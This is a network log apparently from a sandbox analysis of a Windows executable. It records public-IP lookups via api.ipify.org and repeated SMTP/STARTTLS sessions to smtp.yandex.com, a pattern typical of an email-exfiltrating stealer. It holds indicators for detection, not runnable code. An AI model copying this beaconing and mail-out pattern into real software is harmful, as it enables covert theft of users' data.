Jan 11, 2025 09:27:37.433016062 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433046103 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.433057070 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433065891 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.433080912 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433104992 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.433125973 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.433128119 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433139086 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433186054 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.433216095 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433224916 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433235884 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.433281898 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.436589003 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.436650038 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.436816931 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.436867952 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.437856913 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.437907934 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438003063 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438014030 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438051939 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438064098 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438067913 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438113928 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438127041 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438190937 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438196898 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438242912 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438307047 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438325882 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438378096 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.438400030 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.438443899 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.441535950 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.441673040 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.442662954 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.442847013 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.442886114 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.442955017 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443018913 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443073988 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443120956 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443213940 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443264961 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443348885 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443358898 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443459034 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443469048 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443478107 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443486929 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443502903 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443511963 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443639994 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443649054 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443659067 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443666935 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.443676949 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.580529928 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.580919981 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.580974102 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.580974102 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.581111908 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.582504988 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.585697889 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.585766077 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.585777044 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.585887909 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.586585045 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.587353945 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587363958 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587459087 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.587506056 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587517023 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587527990 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587537050 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587546110 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587560892 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587569952 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.587613106 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.591413975 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.591516972 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.591825962 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.592204094 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592349052 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592494011 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.592519045 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592536926 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592559099 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592588902 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.592633009 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.592633009 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.592694044 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592704058 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.592749119 CET	50041	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:37.596647024 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.596822977 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597394943 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597470999 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597503901 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597560883 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597572088 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597624063 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597671986 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597709894 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597760916 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597795010 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597805023 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597842932 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597851038 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597871065 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597913980 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597923994 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597932100 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597948074 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597956896 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.597999096 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:37.598011017 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:38.096599102 CET	587	50040	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:38.148715019 CET	50040	587	192.168.2.4	77.88.21.158
Jan 11, 2025 09:27:38.548551083 CET	587	50041	77.88.21.158	192.168.2.4
Jan 11, 2025 09:27:38.601857901 CET	50041	587	192.168.2.4	77.88.21.158

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:23:26.502270937 CET	58685	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:23:26.509385109 CET	53	58685	1.1.1.1	192.168.2.4
Jan 11, 2025 09:23:28.064258099 CET	61399	53	192.168.2.4	1.1.1.1
Jan 11, 2025 09:23:28.163331985 CET	53	61399	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:23:26.502270937 CET	192.168.2.4	1.1.1.1	0xdde8	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:23:28.064258099 CET	192.168.2.4	1.1.1.1	0xe479	Standard query (0)	smtp.yandex.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:23:26.509385109 CET	1.1.1.1	192.168.2.4	0xdde8	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:23:26.509385109 CET	1.1.1.1	192.168.2.4	0xdde8	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:23:26.509385109 CET	1.1.1.1	192.168.2.4	0xdde8	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:23:28.163331985 CET	1.1.1.1	192.168.2.4	0xe479	No error (0)	smtp.yandex.com	smtp.yandex.ru		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:23:28.163331985 CET	1.1.1.1	192.168.2.4	0xe479	No error (0)	smtp.yandex.ru		77.88.21.158	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	104.26.13.205	443	7412	C:\Users\user\Desktop\kAsh3nmsgs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:23:27 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2025-01-11 08:23:27 UTC	424	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:23:27 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 9003813ac9e75e79-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1590&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=769&delivery_rate=1834170&cwnd=225&unsent_bytes=0&cid=a6bc1fcf31a2f0ff&ts=246&x=0"
2025-01-11 08:23:27 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	104.26.13.205	443	7836	C:\Users\user\AppData\Roaming\HHhSyZN.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 08:23:30 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2025-01-11 08:23:30 UTC	424	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 08:23:30 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 900381524a254307-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1558&min_rtt=1551&rtt_var=596&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=769&delivery_rate=1814791&cwnd=239&unsent_bytes=0&cid=3e674efc2b61417a&ts=263&x=0"
2025-01-11 08:23:30 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jan 11, 2025 09:23:29.023623943 CET	587	49734	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-36.sas.yp-c.yandex.net Ok 1736583808-SNkJ5EBOdKo0
Jan 11, 2025 09:23:29.023920059 CET	49734	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:23:29.263776064 CET	587	49734	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-36.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:23:29.263958931 CET	49734	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:23:29.503464937 CET	587	49734	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:23:32.282655001 CET	587	49738	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-31.sas.yp-c.yandex.net Ok 1736583812-WNkUWKBMgCg0
Jan 11, 2025 09:23:32.282916069 CET	49738	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:23:32.515456915 CET	587	49738	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-31.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:23:32.517553091 CET	49738	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:23:32.749799013 CET	587	49738	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:24:58.454283953 CET	587	49979	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-91.myt.yp-c.yandex.net Ok 1736583898-wOko7u7OkOs0
Jan 11, 2025 09:24:58.454502106 CET	49979	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:24:58.678211927 CET	587	49979	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-91.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:24:58.678400040 CET	49979	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:24:58.899570942 CET	587	49979	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:05.596077919 CET	587	50014	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-33.iva.yp-c.yandex.net Ok 1736583905-5PkY947Ok8c0
Jan 11, 2025 09:25:05.596230030 CET	50014	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:05.820884943 CET	587	50014	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-33.iva.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:05.821156025 CET	50014	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:06.657536983 CET	587	50015	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-45.sas.yp-c.yandex.net Ok 1736583906-6Pkf7EBOd8c0
Jan 11, 2025 09:25:06.657810926 CET	50015	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:06.887729883 CET	587	50015	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-45.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:06.890706062 CET	50015	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:07.117974043 CET	587	50015	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:14.319103956 CET	587	50016	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-35.klg.yp-c.yandex.net Ok 1736583914-EPkUKHAOpCg0
Jan 11, 2025 09:25:14.319278955 CET	50016	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:14.538232088 CET	587	50016	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-35.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:14.538539886 CET	50016	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:14.758341074 CET	587	50016	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:20.059930086 CET	587	50017	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-42.klg.yp-c.yandex.net Ok 1736583919-JPkTDMAOjKo0
Jan 11, 2025 09:25:20.060060978 CET	50017	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:20.290060043 CET	587	50017	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-42.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:20.290206909 CET	50017	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:20.519932985 CET	587	50017	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:21.393100023 CET	587	50018	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-36.sas.yp-c.yandex.net Ok 1736583921-LPkkrEBOgGk0
Jan 11, 2025 09:25:21.393271923 CET	50018	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:21.628933907 CET	587	50018	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-36.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:21.629147053 CET	50018	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:21.915047884 CET	587	50018	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:22.234239101 CET	587	50020	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.sas.yp-c.yandex.net Ok 1736583922-LPk8NGBOnOs0
Jan 11, 2025 09:25:22.234376907 CET	50020	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:22.467420101 CET	587	50020	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-39.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:22.467592001 CET	50020	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:22.699737072 CET	587	50020	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:23.755394936 CET	587	50021	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.klg.yp-c.yandex.net Ok 1736583923-NPkGbIAOlSw0
Jan 11, 2025 09:25:23.755542994 CET	50021	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:23.981525898 CET	587	50021	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-39.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:23.981676102 CET	50021	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:24.207832098 CET	587	50021	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:27.876780987 CET	587	50022	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.vla.yp-c.yandex.net Ok 1736583927-RPk59OBOmmI0
Jan 11, 2025 09:25:27.877022028 CET	50022	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:28.111804962 CET	587	50022	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-39.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:28.112869024 CET	50022	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:28.341754913 CET	587	50022	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:34.621213913 CET	587	50023	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-77.klg.yp-c.yandex.net Ok 1736583934-YPkuB6AOcW20
Jan 11, 2025 09:25:34.633673906 CET	50023	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:34.857601881 CET	587	50023	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-77.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:34.857780933 CET	50023	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:35.004719973 CET	587	50024	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-78.myt.yp-c.yandex.net Ok 1736583934-YPkpMt7Oi0U0
Jan 11, 2025 09:25:35.080662966 CET	587	50023	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:35.141849041 CET	50024	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:35.368484020 CET	587	50024	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-78.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:35.368799925 CET	50024	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:35.595659018 CET	587	50024	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:36.394347906 CET	587	50025	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-63.sas.yp-c.yandex.net Ok 1736583936-aPkBICBOgOs0
Jan 11, 2025 09:25:36.394577026 CET	50025	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:36.625226974 CET	587	50025	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-63.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:36.625427961 CET	50025	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:36.855886936 CET	587	50025	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:25:51.678766012 CET	587	50026	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-29.myt.yp-c.yandex.net Ok 1736583951-pPkcVE2OliE0
Jan 11, 2025 09:25:51.693444014 CET	50026	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:51.921729088 CET	587	50026	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-29.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:51.921901941 CET	50026	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:52.977364063 CET	587	50027	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-42.myt.yp-c.yandex.net Ok 1736583952-qPknA38Oh8c0
Jan 11, 2025 09:25:52.977566004 CET	50027	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:25:53.206139088 CET	587	50027	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-42.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:25:53.206382990 CET	50027	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:25:53.433656931 CET	587	50027	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:04.987261057 CET	587	50028	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-84.klg.yp-c.yandex.net Ok 1736583964-4QkoG8AOrW20
Jan 11, 2025 09:26:04.991167068 CET	50028	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:05.210743904 CET	587	50028	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-84.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:05.210989952 CET	50028	587	192.168.2.4	77.88.21.158	STARTTLS
Jan 11, 2025 09:26:05.430490017 CET	587	50028	77.88.21.158	192.168.2.4	220 Go ahead
Jan 11, 2025 09:26:07.178759098 CET	587	50029	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-45.klg.yp-c.yandex.net Ok 1736583967-6QkYmDAOceA0
Jan 11, 2025 09:26:07.178939104 CET	50029	587	192.168.2.4	77.88.21.158	EHLO 377142
Jan 11, 2025 09:26:07.410754919 CET	587	50029	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-45.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Jan 11, 2025 09:26:07.410938025 CET	50029	587	192.168.2.4	77.88.21.158	STARTTLS
